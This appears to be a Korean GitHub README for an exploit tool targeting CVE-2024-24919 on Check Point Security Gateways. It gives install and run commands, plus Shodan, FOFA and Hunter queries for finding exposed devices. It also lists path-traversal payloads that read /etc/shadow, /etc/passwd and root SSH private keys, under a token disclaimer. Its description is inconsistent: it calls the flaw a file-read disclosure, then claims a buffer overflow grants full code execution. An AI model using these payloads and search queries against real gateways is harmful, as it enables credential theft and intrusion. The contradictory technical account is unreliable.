goatsecurity/cve-2024-24919CVE-2024-24919 익스플로잇
이 저장소는 Check Point Security Gateways의 CVE-2024-24919 취약점을 악용하기 위한 도구를 포함하고 있습니다. 이 도구는 취약한 장치를 식별할 수 있는 멀티 스캐너이자, 영향을 받는 장치를 완전히 제어할 수 있는 단일 대상 익스플로잇입니다.
CVE-2024-24919는 공격자가 Check Point Security Gateway에서 원격으로 임의의 파일을 읽을 수 있게 하는 높은 심각도의 정보 노출 취약점입니다. 이 취약점은 비밀번호 및 구성 파일과 같은 민감한 정보를 탈취하는 데 악용될 수 있습니다.
면책 조항:
이 도구는 교육 목적으로만 제공됩니다. 소유자의 명시적 동의 없이 취약한 시스템을 공격하는 데 사용해서는 안 됩니다. 이 도구의 저자는 사용으로 인해 발생할 수 있는 어떠한 손해에 대해서도 책임을 지지 않습니다.
익스플로잇은 취약한 장치에 특수하게 조작된 HTTP 요청을 전송하여 작동합니다. 이 요청은 장치의 펌웨어에서 버퍼 오버플로를 유발하여 공격자가 임의의 코드를 실행할 수 있게 합니다. 그런 다음 익스플로잇을 사용하여 장치를 완전히 제어할 수 있습니다.
git clone https://github.com/your-username/cve-2024-24919.git
cd cve-2024-24919
pip install -r requirements.txt
단일 대상 또는 여러 대상을 스캔할 수 있습니다!
python cve-2024-24919.py
# Hunter
Hunter: /product.name="Check Point SSL Network Extender"
# Shodan
SHODAN: http.title="Check Point SSL Network Extender"
# Fofa Query
FOFA: title="Check Point SSL Network Extender"
$ 도구 경로 : ```
'aCSHELL/../../../../../../../../../../../etc/passwd',
'aCSHELL/../../../../../../../../../../../etc/apache2/apache2.conf',
'aCSHELL/../../../../../../../../../../../etc/mysql/my.cnf',
'aCSHELL/../../../../../../../../../../../var/log/syslog',
'aCSHELL/../../../../../../../../../../../var/log/auth.log',
#'aCSHELL/../../../../../../../../../../../var/log/messages',
'aCSHELL/../../../../../../../../../../../etc/group',
'aCSHELL/../../../../../../../../../../../etc/shadow',
'aCSHELL/../../../../../../../../../../../root/.ssh/id_rsa',
'aCSHELL/../../../../../../../../../../../etc/hostname',
'aCSHELL/../../../../../../../../../../../etc/hosts',
'aCSHELL/../../../../../../../../../../../etc/resolv.conf' ```